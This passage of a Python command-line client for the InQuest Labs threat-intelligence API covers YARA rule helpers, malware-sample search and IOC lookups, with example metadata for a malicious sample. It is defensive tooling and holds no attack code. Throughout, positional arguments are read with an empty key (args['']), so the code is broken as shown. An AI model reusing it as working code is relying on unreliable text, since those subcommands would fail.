1067 | self.__VERBOSE("timeout reached, killing jobs...")
1068 | for job in jobs:
1069 | job.terminate()
1070 | job.join()
1071 |
1072 | elapsed = time.time() - start
1073 | self.__VERBOSE("completed all jobs in %d seconds" % elapsed)
1074 |
1075 | # return the combined response.
1076 | return dict(resp)
1077 |
1078 |
1079 | ####################################################################################################################
1080 | def stats (self):
1081 | """
1082 | Retrieve statistics from InQuest Labs.
1083 |
1084 | :rtype: list
1085 | :return: List of dictionaries.
1086 | """
1087 |
1088 | return self.API("/stats")
1089 |
1090 | ####################################################################################################################
1091 | def trystero_list_days (self):
1092 | """
1093 | Retrieve the list of days and sample counts that we have Trystero data on. For further information on Trystero,
1094 | see https://labs.inquest.net/trystero for further information. Example data::
1095 |
1096 | {
1097 | "2021-08-04": 406,
1098 | "2021-08-05": 30,
1099 | "2021-08-06": 49,
1100 | "2021-08-07": 30,
1101 | "2021-08-09": 22,
1102 | "2021-08-10": 36,
1103 | "first_record": "2020-08-09"
1104 | }
1105 |
1106 | :rtype: dict
1107 | :return: Dictionary of key=date value=count pairs.
1108 | """
1109 |
1110 | return self.API("/trystero/list")
1111 |
1112 | ####################################################################################################################
1113 | def trystero_list_samples (self, date):
1114 | """
1115 | Retrieve the list of samples from the Trysteo project (these are samples that bypassed either Microsoft, Google,
1116 | or both. For further information on Trystero, see https://labs.inquest.net/trystero. Example data::
1117 |
1118 | [
1119 | {
1120 | "analysis_completed": false,
1121 | "available_on_labs": false,
1122 | "bypasses": "microsoft",
1123 | "classification": "MALICIOUS",
1124 | "downloadable": false,
1125 | "file_type": "OTHER",
1126 | "first_seen": "2021-08-09T23:16:46",
1127 | "image": false,
1128 | "inquest_alerts": [
1129 | {
1130 | "category": "info",
1131 | "description": "Found a Windows Portable Executable (PE) binary. Depending on context, the presence of a binary is suspicious or malicious.",
1132 | "reference": null,
1133 | "title": "Windows PE Executable"
1134 | }
1135 | ],
1136 | "last_inquest_featext": null,
1137 | "mime_type": "application/x-msi",
1138 | "sha256": "01241e05ebab5c9f010de24dd3e611a4eb5b4ad883bafbb416383195bb423182",
1139 | "size": 14752768,
1140 | "subcategory": "maldoc_hunter",
1141 | "subcategory_url": "https://github.com/InQuest/yara-rules/blob/master/labs.inquest.net/maldoc_hunter.rule",
1142 | "vt_positives": 4,
1143 | "vt_weight": 2.799999952316284
1144 | }
1145 | ]
1146 |
1147 | :type date: str
1148 | :param date: Date for which we wish to retrieve sample information.
1149 |
1150 | :rtype: list
1151 | :return: List of dictionaries.
1152 | """
1153 |
1154 | return self.API("/trystero/%s" % date)
1155 |
1156 | ####################################################################################################################
1157 | def yara_b64re (self, regex, endian=None):
1158 | """
1159 | Save time and avoid tedious manual labor by automatically converting plain-text regular expressions into their
1160 | base64 compatible form.
1161 |
1162 | :type regex: str
1163 | :param regex: Regular expression to convert.
1164 | :type endian: str
1165 | :param endian: Optional endianess, can be either "BIG" or "LITTLE".
1166 |
1167 | :rtype: str
1168 | :return: Base64 matching regular expression.
1169 | """
1170 |
1171 | # initialize data dictionary with supplied regular expression.
1172 | data = dict(instring=regex)
1173 |
1174 | # splice in the appropriate endianess option if supplied.
1175 | if endian:
1176 | endian = endian.upper()
1177 |
1178 | if endian == "BIG":
1179 | data['option'] = "widen_big"
1180 | elif endian == "LITTLE":
1181 | data['option'] = "widen_little"
1182 | else:
1183 | raise inquestlabs_exception("invalid endianess supplied to yara_b64re: %s" % endian)
1184 |
1185 | # dance with the API and return results.
1186 | return self.API("/yara/base64re", data)
1187 |
1188 | ####################################################################################################################
1189 | def yara_hexcase (self, instring):
1190 | """
1191 | Translate hex encoded strings into a regular expression form that is agnostic to MixED CaSE CharACtErS.
1192 |
1193 | :type instring: str
1194 | :param instring: String to convert.
1195 |
1196 | :rtype: str
1197 | :return: Mixed hex case insensitive regular expression.
1198 | """
1199 |
1200 | return self.API("/yara/mixcase", dict(instring=instring))
1201 |
1202 | ####################################################################################################################
1203 | def yara_widere (self, regex, endian=None):
1204 | """
1205 | Save time and avoid tedious manual labor by automating converting ascii regular expressions widechar forms.
1206 |
1207 | :type regex: str
1208 | :param regex: Regular expression to convert.
1209 | :type endian: str
1210 | :param endian: Optional endianess, can be either "BIG" or "LITTLE".
1211 |
1212 | :rtype: str
1213 | :return: Widened regular expression.
1214 | """
1215 |
1216 | # initialize data dictionary with supplied regular expression.
1217 | data = dict(instring=regex)
1218 |
1219 | # splice in the appropriate endianess option if supplied.
1220 | if endian:
1221 | endian = endian.upper()
1222 |
1223 | if endian in ["BIG", "LITTLE"]:
1224 | data['kind'] = endian
1225 | else:
1226 | raise inquestlabs_exception("invalid endianess supplied to yara_b64re: %s" % endian)
1227 |
1228 | # dance with the API and return results.
1229 | return self.API("/yara/widere", data)
1230 |
1231 | ####################################################################################################################
1232 | def yara_uint (self, magic, offset=0, is_hex=False):
1233 | """
1234 | Improve the performance of your YARA rules by converting string comparisons into unsigned integer pointer
1235 | dereferences.
1236 |
1237 | :type magic: str
1238 | :param magic: String we which to convert to unit() trigger.
1239 | :type offset: int
1240 | :param offset: Optional offset in hex (0xde) or decimal (222) to look for magic at, defaults to 0.
1241 | :type hex: bool
1242 | :param hex: Raise this flag to treat 'magic' as hex encoded bytes.
1243 |
1244 | :rtype: str
1245 | :return: YARA condition looking for magic at offset via uint() magic.
1246 | """
1247 |
1248 | return self.API("/yara/trigger", dict(trigger=magic, offset=offset, is_hex=is_hex))
1249 |
1250 | ####################################################################################################################
1251 | def cidr_to_regex (self, data):
1252 | """
1253 | Produce a regular expression from a IPv4 CIDR notation in a form suitable for usage as a YARA string.
1254 |
1255 | :type regex: str
1256 | :param regex: Regular expression to convert.
1257 |
1258 | :rtype: str
1259 | :return: Regex string suitable for YARA.
1260 | """
1261 |
1262 | # dance with the API and return results.
1263 | return self.API("/yara/cidr2regex", params={
1264 | "cidr": data
1265 | })
1266 |
1267 | ########################################################################################################################
1268 | ########################################################################################################################
1269 | ########################################################################################################################
1270 |
1271 | def main ():
1272 | args = docopt.docopt(__doc__, version=__version__)
1273 |
1274 | # --debug is for docopt argument parsing. useful to pipe to: egrep -v "False|None"
1275 | if args['--debug']:
1276 | print(args)
1277 | return
1278 |
1279 | # instantiate interface to InQuest Labs.
1280 | labs = inquestlabs_api(args['--api'], args['--config'], args['--proxy'], verbose=int(args['--verbose']))
1281 |
1282 | ### DFI ############################################################################################################
1283 | if args['dfi']:
1284 |
1285 | # inquestlabs [options] dfi attributes [--filter=]
1286 | if args['attributes']:
1287 | print(json.dumps(labs.dfi_attributes(args[''], args['--filter'])))
1288 |
1289 | # inquestlabs [options] dfi details [--attributes]
1290 | elif args['details']:
1291 | print(json.dumps(labs.dfi_details(args[''], args['--attributes'])))
1292 |
1293 | # inquestlabs [options] dfi download [--encrypt]
1294 | elif args['download']:
1295 | start = time.time()
1296 | labs.dfi_download(args[''], args[''], args['--encrypt'])
1297 | print("saved %s as '%s' in %d seconds." % (args[''], args[''], time.time() - start))
1298 |
1299 | # inquestlabs [options] dfi list
1300 | elif args['list']:
1301 | print(json.dumps(labs.dfi_list()))
1302 |
1303 | elif args['search']:
1304 |
1305 | # inquestlabs [options] dfi search (code|context|metadata|ocr)
1306 | if args['']:
1307 | if args['code']:
1308 | results = labs.dfi_search("ext", "code", args[''])
1309 | elif args['context']:
1310 | results = labs.dfi_search("ext", "context", args[''])
1311 | elif args['metadata']:
1312 | results = labs.dfi_search("ext", "metadata", args[''])
1313 | elif args['ocr']:
1314 | results = labs.dfi_search("ext", "ocr", args[''])
1315 | else:
1316 | raise inquestlabs_exception("keyword search argument parsing fail.")
1317 |
1318 | # inquestlabs [options] dfi search (md5|sha1|sha256|sha512)
1319 | elif args['']:
1320 | if args['md5']:
1321 | results = labs.dfi_search("hash", "md5", args[''])
1322 | elif args['sha1']:
1323 | results = labs.dfi_search("hash", "sha1", args[''])
1324 | elif args['sha256']:
1325 | results = labs.dfi_search("hash", "sha256", args[''])
1326 | elif args['sha512']:
1327 | results = labs.dfi_search("hash", "sha512", args[''])
1328 | else:
1329 | raise inquestlabs_exception("hash search argument parsing fail.")
1330 |
1331 | # inquestlabs [options] dfi search (domain|email|filename|filepath|ip|registry|url|xmpid)
1332 | elif args['']:
1333 | if args['domain']:
1334 | results = labs.dfi_search("ioc", "domain", args[''])
1335 | elif args['email']:
1336 | results = labs.dfi_search("ioc", "email", args[''])
1337 | elif args['filename']:
1338 | results = labs.dfi_search("ioc", "filename", args[''])
1339 | elif args['filepath']:
1340 | results = labs.dfi_search("ioc", "filepath", args[''])
1341 | elif args['ip']:
1342 | results = labs.dfi_search("ioc", "ip", args[''])
1343 | elif args['registry']:
1344 | results = labs.dfi_search("ioc", "registry", args[''])
1345 | elif args['url']:
1346 | results = labs.dfi_search("ioc", "url", args[''])
1347 | elif args['xmpid']:
1348 | results = labs.dfi_search("ioc", "xmpid", args[''])
1349 | else:
1350 | raise inquestlabs_exception("ioc search argument parsing fail.")
1351 |
1352 | # search results.
1353 | print(json.dumps(results))
1354 |
1355 | # inquestlabs [options] dfi sources
1356 | elif args['sources']:
1357 | print(json.dumps(labs.dfi_sources()))
1358 |
1359 | # inquestlabs [options] dfi upload
1360 | elif args['upload']:
1361 | start = time.time()
1362 | sha256 = labs.dfi_upload(args[''])
1363 | print("successfully uploaded %s in %d seconds." % (args[''], time.time() - start))
1364 | print("see results at: https://labs.inquest.net/dfi/sha256/%s" % sha256)
1365 |
1366 | # huh?
1367 | else:
1368 | raise inquestlabs_exception("dfi argument parsing fail.")
1369 |
1370 | ### IOCDB ##########################################################################################################
1371 | elif args['iocdb']:
1372 |
1373 | # inquestlabs [options] iocdb list
1374 | if args['list']:
1375 | print(json.dumps(labs.iocdb_list()))
1376 |
1377 | # inquestlabs [options] iocdb search
1378 | elif args['search']:
1379 | print(json.dumps(labs.iocdb_search(args[''])))
1380 |
1381 | # inquestlabs [options] iocdb sources
1382 | elif args['sources']:
1383 | print(json.dumps(labs.iocdb_sources()))
1384 |
1385 | # huh?
1386 | else:
1387 | raise inquestlabs_exception("iocdb argument parsing fail.")
1388 |
1389 | ### REPDB ##########################################################################################################
1390 | elif args['repdb']:
1391 |
1392 | # inquestlabs [options] repdb list
1393 | if args['list']:
1394 | print(json.dumps(labs.repdb_list()))
1395 |
1396 | # inquestlabs [options] repdb search
1397 | elif args['search']:
1398 | print(json.dumps(labs.repdb_search(args[''])))
1399 |
1400 | # inquestlabs [options] repdb sources
1401 | elif args['sources']:
1402 | print(json.dumps(labs.repdb_sources()))
1403 |
1404 | # huh?
1405 | else:
1406 | raise inquestlabs_exception("repdb argument parsing fail.")
1407 |
1408 | ### YARA ###########################################################################################################
1409 | elif args['yara']:
1410 |
1411 | # normalize big/little endian switches.
1412 | if args['--big-endian']:
1413 | endian = "BIG"
1414 | elif args['--little-endian']:
1415 | endian = "LITTLE"
1416 | else:
1417 | endian = None
1418 |
1419 | # NOTE: we don't json.dumps() these values as they are likely going to be wanted to be used raw and not piped
1420 | # into another JSON expectant tool.
1421 |
1422 | # inquestlabs [options] yara (b64re|base64re) [(--big-endian|--little-endian)]
1423 | if args['b64re'] or args['base64re']:
1424 | print(labs.yara_b64re(args[''], endian))
1425 |
1426 | # inquestlabs [options] yara hexcase
1427 | elif args['hexcase']:
1428 | print(labs.yara_hexcase(args['']))
1429 |
1430 | # inquestlabs [options] yara uint [--offset=] [--hex]
1431 | elif args['uint']:
1432 | print(labs.yara_uint(args[''], args['--offset'], args['--hex']))
1433 |
1434 | # inquestlabs [options] yara widere [(--big-endian|--little-endian)]
1435 | elif args['widere']:
1436 | print(labs.yara_widere(args[''], endian))
1437 |
1438 | # inquestlabs [options] yara cidr
1439 | elif args['cidr']:
1440 | print(labs.cidr_to_regex(args['']))
1441 |
1442 | # huh?
1443 | else:
1444 | raise inquestlabs_exception("yara argument parsing fail.")
1445 |
1446 | ### IP/DOMAIN LOOKUP ###############################################################################################
1447 | elif args['lookup']:
1448 | if args['ip']:
1449 | print(json.dumps(labs.lookup('ip', args[''])))
1450 |
1451 | elif args['domain']:
1452 | print(json.dumps(labs.lookup('domain', args[''])))
1453 |
1454 | else:
1455 | raise inquestlabs_exception("'lookup' supports 'ip' and 'domain'.")
1456 |
1457 | ### IP/DOMAIN/URL REPORT ###########################################################################################
1458 | elif args['report']:
1459 | print(json.dumps(labs.report(args[''], args['--timeout'])))
1460 |
1461 | ### MISCELLANEOUS ##################################################################################################
1462 | elif args['stats']:
1463 | print(json.dumps(labs.stats()))
1464 |
1465 | elif args['setup']:
1466 | if os.path.exists(labs.config_file):
1467 | print("config file already exists: %s, won't overwrite." % labs.config_file)
1468 | else:
1469 | try:
1470 | with open(labs.config_file, "w+") as fh:
1471 | fh.write("[inquestlabs]\n")
1472 | fh.write("apikey: %s\n" % args[''])
1473 | print("config file at %s initialized with API key %s" % (labs.config_file, args['']))
1474 | except:
1475 | print("failed writing apikey to config file: %s" % labs.config_file)
1476 |
1477 | ### TRYSTERO PROJECT DATA ##########################################################################################
1478 | elif args['trystero']:
1479 |
1480 | # inquestlabs [options] trystero list-days
1481 | if args['list-days']:
1482 | print(json.dumps(labs.trystero_list_days()))
1483 |
1484 | # inquestlabs [options] trystero list-samples
1485 | elif args['list-samples']:
1486 | date = args['']
1487 |
1488 | if re.match("\d{4}-\d{2}-\d{2}", date):
1489 | print(json.dumps(labs.trystero_list_samples(date)))
1490 | else:
1491 | raise inquestlabs_exception("invalidate date format: '%s', expecting ex: '2021-08-09'" % date)
1492 |
1493 | # huh?
1494 | else:
1495 | raise inquestlabs_exception("trystero argument parsing fail.")
1496 |
1497 | # huh?
1498 | else:
1499 | raise inquestlabs_exception("argument parsing fail.")
1500 |
1501 | ### WRAP UP ########################################################################################################
1502 | if args['--limits']:
1503 | sys.stderr.write(labs.rate_limit_banner() + "\n")
1504 |
1505 | ########################################################################################################################
1506 | if __name__ == '__main__':
1507 | main()
1508 |
--------------------------------------------------------------------------------